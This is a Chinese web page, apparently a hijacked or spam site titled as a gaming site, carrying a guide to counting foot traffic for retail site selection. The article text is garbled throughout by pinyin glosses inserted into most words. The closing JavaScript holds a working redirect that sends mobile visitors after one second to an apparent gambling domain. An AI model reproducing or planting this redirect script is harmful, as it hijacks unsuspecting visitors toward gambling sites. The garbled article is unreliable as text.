ku游戏网站

今天是2021年(nian)7月31日 星(xing)期六,欢迎光临本站 

规划选址

选址的人流量采点方法

文字:[大][中][小] 手机页面二维码 2018/7/13     浏览次数:    

   测算人流量的意义

    一般(ban)在做商铺选(xuan)址时,必须关注4项重点(dian):新店(dian)的(de)(de)可视(shi)性(xing),到达(da)的(de)(de)便利性(xing),人(ren)流量情况,未(wei)来的(de)(de)可持续发展(zhan)。而测(ce)算人(ren)流量是最能准确(que)并(bing)直(zhi)接(jie)反映新店(dian)所(suo)在位置的(de)(de)人(ren)潮流动量情况,它还包(bao)含了诸多有价(jia)值的信(xin)息,例(li)如商圈(quan)信(xin)息,人(ren)口消费特(te)征,消费指(zhi)数等等。

    以目标新店的(de)(de)(de)沿街(jie)或对(dui)面的(de)(de)(de)人数为测算(suan)(suan)对(dui)象,按照不同的(de)(de)(de)时段(duan),分别计算(suan)(suan)各时段(duan)的(de)(de)(de)双向(xiang)通行人数,即为该(gai)时段(duan)的(de)(de)(de)人流(liu)量。

1
场(chang)景1:马路宽度大小
如马路通行口(kou)距(ju)新店30米内,要计算门面双向人流量;
如(ru)马路通(tong)行口距新店80米内,要计算门面的双向人流量和对面人流量的一半;
如马路(lu)通行口距(ju)新店80米以外的,只能计算门面的双向(xiang)人(ren)流(liu)量(liang),对面的人(ren)流(liu)量(liang)不予计算。
2
场景2:测(ce)算时段(duan)及时间

   每(mei)个(ge)行(xing)业所需(xu)要测算(suan)的(de)(de)时(shi)(shi)段均(jun)有(you)所不(bu)同,一(yi)(yi)般分为平常(chang)日(ri)即周(zhou)一(yi)(yi)至(zhi)周(zhou)五,假日(ri)即周(zhou)六与周(zhou)日(ri),不(bu)同业态采用不(bu)同的(de)(de)时(shi)(shi)段来采点,例如快餐店(dian)为每(mei)半个(ge)小(xiao)(xiao)时(shi)(shi)为一(yi)(yi)个(ge)计(ji)算(suan)段,烘焙店(dian)为每(mei)一(yi)(yi)个(ge)小(xiao)(xiao)时(shi)(shi)为一(yi)(yi)个(ge)计(ji)算(suan)段,而(er)便利(li)店(dian)为每(mei)两个(ge)小(xiao)(xiao)时(shi)(shi)为一(yi)(yi)个(ge)计(ji)算(suan)段。大型店(dian)铺(pu)投资最(zui)好以一(yi)(yi)个(ge)月为最(zui)少(shao)测算(suan)时(shi)(shi)间,小(xiao)(xiao)型店(dian)考虑到工(gong)作量(liang)及(ji)成本,一(yi)(yi)般不(bu)少(shao)于一(yi)(yi)周(zhou),否则(ze)不(bu)具有(you)代表(biao)性。

3
场(chang)景(jing)3:气候因素

   做人流量(liang)(liang)测(ce)算一定要记录(lu)当天的天气(qi)情况,以(yi)便(bian)考(kao)量(liang)(liang)气(qi)候客观因(yin)素(su)对人流量(liang)(liang)的影响。

4
场(chang)景(jing)4:单(dan)行道的街边店及转角店

   由(you)于好的(de)店铺一位难求,有时候新店不(bu)得(de)不(bu)开在单行道(dao)(假设道(dao)路宽(kuan)度在30米(mi)与(yu)80米之间)的(de)情况(kuang),其采(cai)点(dian)原(yuan)则如下

1
街边店(dian)(dian):位于道路边上(shang)-单(dan)行道的(de)店(dian)(dian)铺

   如图,马路靠店铺边上的双向人(ren)流(A)以100%计入,马路对面的双(shuang)向人流(B)以50%计入。人流量合计=A +Bx50%

     

      



2
转角(jiao)店(dian):位于(yu)道路转角(jiao)-单行道的店(dian)铺

   如图,店铺转角两边(bian)的双(shuang)向人流(AB)以(yi)100%计入,再扣除店铺转(zhuan)(zhuan)角(jiao)转(zhuan)(zhuan)弯的人流(C),店(dian)铺转(zhuan)角两边的马路对(dui)面的双向人(ren)流(DE)以50%计(ji)入。人流量合(he)计(ji)=A +B-C+Dx50%+Ex50%


       


来源:选址评估网(wang)




返回上一步
打印此页
13818970338
浏览手机站
微信(xin)二维码
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();